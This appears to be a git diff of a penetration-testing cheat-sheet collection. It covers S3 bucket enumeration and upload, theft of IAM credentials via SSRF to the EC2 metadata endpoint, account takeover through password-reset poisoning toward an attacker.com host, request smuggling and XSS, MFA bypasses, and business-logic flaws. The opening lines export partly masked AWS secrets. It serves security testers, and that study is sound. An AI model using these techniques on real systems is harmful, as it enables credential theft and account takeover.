export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ
|
|
||||||
export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU=
|
|
||||||
```
|
|
||||||
|
|
||||||
## Open Bucket
|
|
||||||
|
|
||||||
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
|
|
||||||
|
|
||||||
```bash
|
|
||||||
http://s3.amazonaws.com/[bucket_name]/
|
|
||||||
http://[bucket_name].s3.amazonaws.com/
|
|
||||||
http://flaws.cloud.s3.amazonaws.com/
|
|
||||||
https://buckets.grayhatwarfare.com/
|
|
||||||
```
|
|
||||||
|
|
||||||
Their names are also listed if the listing is enabled.
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
|
|
||||||
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively you can extract the name of inside-site s3 bucket with `%C0`. (Trick from https://twitter.com/0xmdv/status/1065581916437585920)
|
|
||||||
|
|
||||||
```xml
|
|
||||||
http://example.com/resources/id%C0
|
|
||||||
|
|
||||||
eg: http://redacted/avatar/123%C0
|
|
||||||
```
|
|
||||||
|
|
||||||
## Basic tests
|
|
||||||
|
|
||||||
### Listing files
|
|
||||||
|
|
||||||
```bash
|
|
||||||
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
|
|
||||||
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
|
|
||||||
```
|
|
||||||
|
|
||||||
You can get the region with a dig and nslookup
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ dig flaws.cloud
|
|
||||||
;; ANSWER SECTION:
|
|
||||||
flaws.cloud. 5 IN A 52.218.192.11
|
|
||||||
|
|
||||||
$ nslookup 52.218.192.11
|
|
||||||
Non-authoritative answer:
|
|
||||||
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
|
|
||||||
```
|
|
||||||
|
|
||||||
### Move a file into the bucket
|
|
||||||
|
|
||||||
```bash
|
|
||||||
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
|
|
||||||
aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
aws s3 mv test.txt s3://hackerone.marketing
|
|
||||||
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
|
|
||||||
|
|
||||||
aws s3 mv test.txt s3://hackerone.files
|
|
||||||
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Download every things
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
|
|
||||||
```
|
|
||||||
|
|
||||||
### Check bucket disk size
|
|
||||||
|
|
||||||
Use `--no-sign` for un-authenticated check.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
|
|
||||||
```
|
|
||||||
|
|
||||||
## AWS - Extract Backup
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ aws --profile flaws sts get-caller-identity
|
|
||||||
"Account": "XXXX26262029",
|
|
||||||
|
|
||||||
|
|
||||||
$ aws --profile profile_name ec2 describe-snapshots
|
|
||||||
$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
|
|
||||||
"SnapshotId": "snap-XXXX342abd1bdcb89",
|
|
||||||
|
|
||||||
Create a volume using snapshot
|
|
||||||
$ aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
|
|
||||||
In Aws Console -> EC2 -> New Ubuntu
|
|
||||||
$ chmod 400 YOUR_KEY.pem
|
|
||||||
$ ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
|
|
||||||
|
|
||||||
Mount the volume
|
|
||||||
$ lsblk
|
|
||||||
$ sudo file -s /dev/xvda1
|
|
||||||
$ sudo mount /dev/xvda1 /mnt
|
|
||||||
```
|
|
||||||
|
|
||||||
## Bucket juicy data
|
|
||||||
|
|
||||||
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
http://169.254.169.254/latest/meta-data/
|
|
||||||
http://169.254.169.254/latest/user-data/
|
|
||||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
|
|
||||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
|
|
||||||
```
|
|
||||||
|
|
||||||
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets)
|
|
||||||
* [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792)
|
|
||||||
* [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/)
|
|
||||||
* [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud)
|
|
||||||
* [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/)
|
|
||||||
* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
|
|
||||||
* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)
|
|
||||||
* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf)
|
|
||||||
@@ -1,39 +1,27 @@
|
|||||||
# Account Takeover
|
# Account Takeover
|
||||||
|
|
||||||
|
> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Password Reset Feature](#password-reset-feature)
|
* [Password Reset Feature](#password-reset-feature)
|
||||||
* [Password Reset Token Leak Via Referrer](#password-reset-token-leak-via-referrer)
|
* [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
|
||||||
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
|
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
|
||||||
* [Password Reset Via Email Parameter](#password-reset-via-email-parameter)
|
* [Password Reset via Email Parameter](#password-reset-via-email-parameter)
|
||||||
* [IDOR on API Parameters](#idor-on-api-parameters)
|
* [IDOR on API Parameters](#idor-on-api-parameters)
|
||||||
* [Weak Password Reset Token](#weak-password-reset-token)
|
* [Weak Password Reset Token](#weak-password-reset-token)
|
||||||
* [Leaking Password Reset Token](#leaking-password-reset-token)
|
* [Leaking Password Reset Token](#leaking-password-reset-token)
|
||||||
* [Password Reset Via Username Collision](#password-reset-via-username-collision)
|
* [Password Reset via Username Collision](#password-reset-via-username-collision)
|
||||||
* [Account takeover due to unicode normalization issue](#account-takeover-due-to-unicode-normalization-issue)
|
* [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
|
||||||
* [Account Takeover Via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
|
* [Account Takeover via Web Vulneralities](#account-takeover-via-web-vulneralities)
|
||||||
* [Account Takeover Via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
|
* [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
|
||||||
* [Account Takeover via CSRF](#account-takeover-via-csrf)
|
* [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
|
||||||
* [2FA Bypasses](#2fa-bypasses)
|
* [Account Takeover via CSRF](#account-takeover-via-csrf)
|
||||||
* [Response Manipulation](#reponse-manipulation)
|
|
||||||
* [Status Code Manipulation](#status-code-manipulation)
|
|
||||||
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
|
|
||||||
* [JS File Analysis](#js-file-analysis)
|
|
||||||
* [2FA Code Reusability](#2fa-code-reusability)
|
|
||||||
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
|
|
||||||
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
|
|
||||||
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
|
|
||||||
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
|
|
||||||
* [Backup Code Abuse](#backup-code-abuse)
|
|
||||||
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
|
|
||||||
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
|
|
||||||
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
|
|
||||||
* [Bypass 2FA with array](#bypass-2fa-with-array)
|
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
## Password Reset Feature
|
## Password Reset Feature
|
||||||
|
|
||||||
### Password Reset Token Leak Via Referrer
|
### Password Reset Token Leak via Referrer
|
||||||
|
|
||||||
1. Request password reset to your email address
|
1. Request password reset to your email address
|
||||||
2. Click on the password reset link
|
2. Click on the password reset link
|
||||||
@@ -47,16 +35,17 @@
|
|||||||
1. Intercept the password reset request in Burp Suite
|
1. Intercept the password reset request in Burp Suite
|
||||||
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||||
3. Forward the request with the modified header
|
3. Forward the request with the modified header
|
||||||
|
|
||||||
```http
|
```http
|
||||||
POST https://example.com/reset.php HTTP/1.1
|
POST https://example.com/reset.php HTTP/1.1
|
||||||
Accept: */*
|
Accept: */*
|
||||||
Content-Type: application/json
|
Content-Type: application/json
|
||||||
Host: attacker.com
|
Host: attacker.com
|
||||||
```
|
```
|
||||||
|
|
||||||
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
|
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||||
|
|
||||||
|
### Password Reset via Email Parameter
|
||||||
### Password Reset Via Email Parameter
|
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
# parameter pollution
|
# parameter pollution
|
||||||
@@ -80,6 +69,7 @@ email=victim@mail.com|hacker@mail.com
|
|||||||
1. Attacker have to login with their account and go to the **Change password** feature.
|
1. Attacker have to login with their account and go to the **Change password** feature.
|
||||||
2. Start the Burp Suite and Intercept the request
|
2. Start the Burp Suite and Intercept the request
|
||||||
3. Send it to the repeater tab and edit the parameters : User ID/email
|
3. Send it to the repeater tab and edit the parameters : User ID/email
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
POST /api/changepass
|
POST /api/changepass
|
||||||
[...]
|
[...]
|
||||||
@@ -104,11 +94,11 @@ Try to determine if the token expire or if it's always the same, in some cases t
|
|||||||
|
|
||||||
### Leaking Password Reset Token
|
### Leaking Password Reset Token
|
||||||
|
|
||||||
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
|
1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
|
||||||
2. Inspect the server response and check for `resetToken`
|
2. Inspect the server response and check for `resetToken`
|
||||||
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||||
|
|
||||||
### Password Reset Via Username Collision
|
### Password Reset via Username Collision
|
||||||
|
|
||||||
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
|
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
|
||||||
2. Request a password reset with your malicious username.
|
2. Request a password reset with your malicious username.
|
||||||
@@ -118,34 +108,46 @@ Try to determine if the token expire or if it's always the same, in some cases t
|
|||||||
The platform CTFd was vulnerable to this attack.
|
The platform CTFd was vulnerable to this attack.
|
||||||
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||||
|
|
||||||
|
### Account Takeover Due To Unicode Normalization Issue
|
||||||
|
|
||||||
### Account takeover due to unicode normalization issue
|
When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.
|
||||||
|
|
||||||
- Victim account: `demo@gmail.com`
|
* Victim account: `demo@gmail.com`
|
||||||
- Attacker account: `demⓞ@gmail.com`
|
* Attacker account: `demⓞ@gmail.com`
|
||||||
|
|
||||||
|
[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
|
||||||
|
|
||||||
## Account Takeover Via Cross Site Scripting
|
[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
|
||||||
|
|
||||||
|
## Account Takeover via Web Vulneralities
|
||||||
|
|
||||||
|
### Account Takeover via Cross Site Scripting
|
||||||
|
|
||||||
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
|
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
|
||||||
2. Leak the current **sessions cookie**
|
2. Leak the current **sessions cookie**
|
||||||
3. Authenticate as the user using the cookie
|
3. Authenticate as the user using the cookie
|
||||||
|
|
||||||
## Account Takeover Via HTTP Request Smuggling
|
### Account Takeover via HTTP Request Smuggling
|
||||||
|
|
||||||
Refer to **HTTP Request Smuggling** vulnerability page.
|
Refer to **HTTP Request Smuggling** vulnerability page.
|
||||||
|
|
||||||
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
|
1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
git clone https://github.com/defparam/smuggler.git
|
git clone https://github.com/defparam/smuggler.git
|
||||||
cd smuggler
|
cd smuggler
|
||||||
python3 smuggler.py -h
|
python3 smuggler.py -h
|
||||||
```
|
```
|
||||||
|
|
||||||
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
|
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
GET http://something.burpcollaborator.net HTTP/1.1
|
GET http://something.burpcollaborator.net HTTP/1.1
|
||||||
X:
|
X:
|
||||||
```
|
```
|
||||||
|
|
||||||
3. Final request could look like the following
|
3. Final request could look like the following
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Transfer-Encoding: chunked
|
Transfer-Encoding: chunked
|
||||||
@@ -160,105 +162,26 @@ Refer to **HTTP Request Smuggling** vulnerability page.
|
|||||||
```
|
```
|
||||||
|
|
||||||
Hackerone reports exploiting this bug
|
Hackerone reports exploiting this bug
|
||||||
* https://hackerone.com/reports/737140
|
|
||||||
* https://hackerone.com/reports/771666
|
|
||||||
|
|
||||||
## Account Takeover via CSRF
|
* <https://hackerone.com/reports/737140>
|
||||||
|
* <https://hackerone.com/reports/771666>
|
||||||
|
|
||||||
|
### Account Takeover via CSRF
|
||||||
|
|
||||||
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
|
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
|
||||||
2. Send the payload
|
2. Send the payload
|
||||||
|
|
||||||
## Account Takeover via JWT
|
### Account Takeover via JWT
|
||||||
|
|
||||||
JSON Web Token might be used to authenticate an user.
|
JSON Web Token might be used to authenticate an user.
|
||||||
|
|
||||||
* Edit the JWT with another User ID / Email
|
* Edit the JWT with another User ID / Email
|
||||||
* Check for weak JWT signature
|
* Check for weak JWT signature
|
||||||
|
|
||||||
## 2FA Bypasses
|
|
||||||
|
|
||||||
### Response Manipulation
|
|
||||||
|
|
||||||
In response if `"success":false`
|
|
||||||
Change it to `"success":true`
|
|
||||||
|
|
||||||
### Status Code Manipulation
|
|
||||||
|
|
||||||
If Status Code is **4xx**
|
|
||||||
Try to change it to **200 OK** and see if it bypass restrictions
|
|
||||||
|
|
||||||
### 2FA Code Leakage in Response
|
|
||||||
|
|
||||||
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
|
|
||||||
|
|
||||||
### JS File Analysis
|
|
||||||
|
|
||||||
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
|
|
||||||
|
|
||||||
### 2FA Code Reusability
|
|
||||||
|
|
||||||
Same code can be reused
|
|
||||||
|
|
||||||
### Lack of Brute-Force Protection
|
|
||||||
|
|
||||||
Possible to brute-force any length 2FA Code
|
|
||||||
|
|
||||||
### Missing 2FA Code Integrity Validation
|
|
||||||
|
|
||||||
Code for any user acc can be used to bypass the 2FA
|
|
||||||
|
|
||||||
### CSRF on 2FA Disabling
|
|
||||||
|
|
||||||
No CSRF Protection on disabling 2FA, also there is no auth confirmation
|
|
||||||
|
|
||||||
### Password Reset Disable 2FA
|
|
||||||
|
|
||||||
2FA gets disabled on password change/email change
|
|
||||||
|
|
||||||
### Backup Code Abuse
|
|
||||||
|
|
||||||
Bypassing 2FA by abusing the Backup code feature
|
|
||||||
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
|
|
||||||
|
|
||||||
### Clickjacking on 2FA Disabling Page
|
|
||||||
|
|
||||||
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
|
|
||||||
|
|
||||||
### Enabling 2FA doesn't expire Previously active Sessions
|
|
||||||
|
|
||||||
If the session is already hijacked and there is a session timeout vuln
|
|
||||||
|
|
||||||
### Bypass 2FA with null or 000000
|
|
||||||
Enter the code **000000** or **null** to bypass 2FA protection.
|
|
||||||
|
|
||||||
### Bypass 2FA with array
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"otp":[
|
|
||||||
"1234",
|
|
||||||
"1111",
|
|
||||||
"1337", // GOOD OTP
|
|
||||||
"2222",
|
|
||||||
"3333",
|
|
||||||
"4444",
|
|
||||||
"5555"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## TODO
|
|
||||||
|
|
||||||
* Broken cryptography
|
|
||||||
* Session hijacking
|
|
||||||
* OAuth misconfiguration
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [10 Password Reset Flaws - Anugrah SR](http://anugrahsr.me/posts/10-Password-reset-flaws/)
|
* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo)
|
||||||
- [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=gzM4wWA7RFo&feature=youtu.be)
|
* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||||
- [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
|
* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
|
||||||
- [Hacking Grindr Accounts with Copy and Paste - Troy HUNT & Wassime BOUIMADAGHENE - 03 OCTOBER 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
|
* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||||
- [CTFd Account Takeover](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
|
||||||
|
|||||||
99
Account Takeover/mfa-bypass.md
Normal file
99
Account Takeover/mfa-bypass.md
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
# MFA Bypasses
|
||||||
|
|
||||||
|
> Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised.
|
||||||
|
> MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Response Manipulation](#response-manipulation)
|
||||||
|
* [Status Code Manipulation](#status-code-manipulation)
|
||||||
|
* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
|
||||||
|
* [JS File Analysis](#js-file-analysis)
|
||||||
|
* [2FA Code Reusability](#2fa-code-reusability)
|
||||||
|
* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
|
||||||
|
* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
|
||||||
|
* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
|
||||||
|
* [Password Reset Disable 2FA](#password-reset-disable-2fa)
|
||||||
|
* [Backup Code Abuse](#backup-code-abuse)
|
||||||
|
* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
|
||||||
|
* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
|
||||||
|
* [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)
|
||||||
|
* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
|
||||||
|
* [Bypass 2FA with array](#bypass-2fa-with-array)
|
||||||
|
|
||||||
|
## 2FA Bypasses
|
||||||
|
|
||||||
|
### Response Manipulation
|
||||||
|
|
||||||
|
In response if `"success":false`
|
||||||
|
Change it to `"success":true`
|
||||||
|
|
||||||
|
### Status Code Manipulation
|
||||||
|
|
||||||
|
If Status Code is **4xx**
|
||||||
|
Try to change it to **200 OK** and see if it bypass restrictions
|
||||||
|
|
||||||
|
### 2FA Code Leakage in Response
|
||||||
|
|
||||||
|
Check the response of the 2FA Code Triggering Request to see if the code is leaked.
|
||||||
|
|
||||||
|
### JS File Analysis
|
||||||
|
|
||||||
|
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
|
||||||
|
|
||||||
|
### 2FA Code Reusability
|
||||||
|
|
||||||
|
Same code can be reused
|
||||||
|
|
||||||
|
### Lack of Brute-Force Protection
|
||||||
|
|
||||||
|
Possible to brute-force any length 2FA Code
|
||||||
|
|
||||||
|
### Missing 2FA Code Integrity Validation
|
||||||
|
|
||||||
|
Code for any user acc can be used to bypass the 2FA
|
||||||
|
|
||||||
|
### CSRF on 2FA Disabling
|
||||||
|
|
||||||
|
No CSRF Protection on disabling 2FA, also there is no auth confirmation
|
||||||
|
|
||||||
|
### Password Reset Disable 2FA
|
||||||
|
|
||||||
|
2FA gets disabled on password change/email change
|
||||||
|
|
||||||
|
### Backup Code Abuse
|
||||||
|
|
||||||
|
Bypassing 2FA by abusing the Backup code feature
|
||||||
|
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
|
||||||
|
|
||||||
|
### Clickjacking on 2FA Disabling Page
|
||||||
|
|
||||||
|
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
|
||||||
|
|
||||||
|
### Enabling 2FA doesn't expire Previously active Sessions
|
||||||
|
|
||||||
|
If the session is already hijacked and there is a session timeout vuln
|
||||||
|
|
||||||
|
### Bypass 2FA by Force Browsing
|
||||||
|
|
||||||
|
If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
|
||||||
|
|
||||||
|
### Bypass 2FA with null or 000000
|
||||||
|
|
||||||
|
Enter the code **000000** or **null** to bypass 2FA protection.
|
||||||
|
|
||||||
|
### Bypass 2FA with array
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"otp":[
|
||||||
|
"1234",
|
||||||
|
"1111",
|
||||||
|
"1337", // GOOD OTP
|
||||||
|
"2222",
|
||||||
|
"3333",
|
||||||
|
"4444",
|
||||||
|
"5555"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
91
Business Logic Errors/README.md
Normal file
91
Business Logic Errors/README.md
Normal file
@@ -0,0 +1,91 @@
|
|||||||
|
# Business Logic Errors
|
||||||
|
|
||||||
|
> Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Review Feature Testing](#review-feature-testing)
|
||||||
|
* [Discount Code Feature Testing](#discount-code-feature-testing)
|
||||||
|
* [Delivery Fee Manipulation](#delivery-fee-manipulation)
|
||||||
|
* [Currency Arbitrage](#currency-arbitrage)
|
||||||
|
* [Premium Feature Exploitation](#premium-feature-exploitation)
|
||||||
|
* [Refund Feature Exploitation](#refund-feature-exploitation)
|
||||||
|
* [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
|
||||||
|
* [Thread Comment Testing](#thread-comment-testing)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
|
||||||
|
|
||||||
|
Common examples of Business Logic Errors.
|
||||||
|
|
||||||
|
### Review Feature Testing
|
||||||
|
|
||||||
|
* Assess if you can post a product review as a verified reviewer without having purchased the item.
|
||||||
|
* Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
|
||||||
|
* Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
|
||||||
|
* Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
|
||||||
|
* Investigate the possibility of posting reviews impersonating other users.
|
||||||
|
* Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
|
||||||
|
|
||||||
|
|
||||||
|
### Discount Code Feature Testing
|
||||||
|
|
||||||
|
* Try to apply the same discount code multiple times to assess if it's reusable.
|
||||||
|
* If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
|
||||||
|
* Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
|
||||||
|
* Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
|
||||||
|
* Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
|
||||||
|
|
||||||
|
|
||||||
|
### Delivery Fee Manipulation
|
||||||
|
|
||||||
|
* Experiment with negative values for delivery charges to see if it reduces the final amount.
|
||||||
|
* Evaluate if free delivery can be activated by modifying parameters.
|
||||||
|
|
||||||
|
|
||||||
|
### Currency Arbitrage
|
||||||
|
|
||||||
|
* Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
|
||||||
|
|
||||||
|
|
||||||
|
### Premium Feature Exploitation
|
||||||
|
|
||||||
|
* Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
|
||||||
|
* Purchase a premium feature, cancel it, and see if you can still use it after a refund.
|
||||||
|
* Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
|
||||||
|
* Review cookies or local storage for variables validating premium access.
|
||||||
|
|
||||||
|
|
||||||
|
### Refund Feature Exploitation
|
||||||
|
|
||||||
|
* Purchase a product, ask for a refund, and see if the product remains accessible.
|
||||||
|
* Look for opportunities for currency arbitrage.
|
||||||
|
* Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
|
||||||
|
|
||||||
|
|
||||||
|
### Cart/Wishlist Exploitation
|
||||||
|
|
||||||
|
* Test the system by adding products in negative quantities, along with other products, to balance the total.
|
||||||
|
* Try to add more of a product than is available.
|
||||||
|
* Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
|
||||||
|
|
||||||
|
|
||||||
|
### Thread Comment Testing
|
||||||
|
|
||||||
|
* Check if there's a limit to the number of comments on a thread.
|
||||||
|
* If a user can only comment once, use race conditions to see if multiple comments can be posted.
|
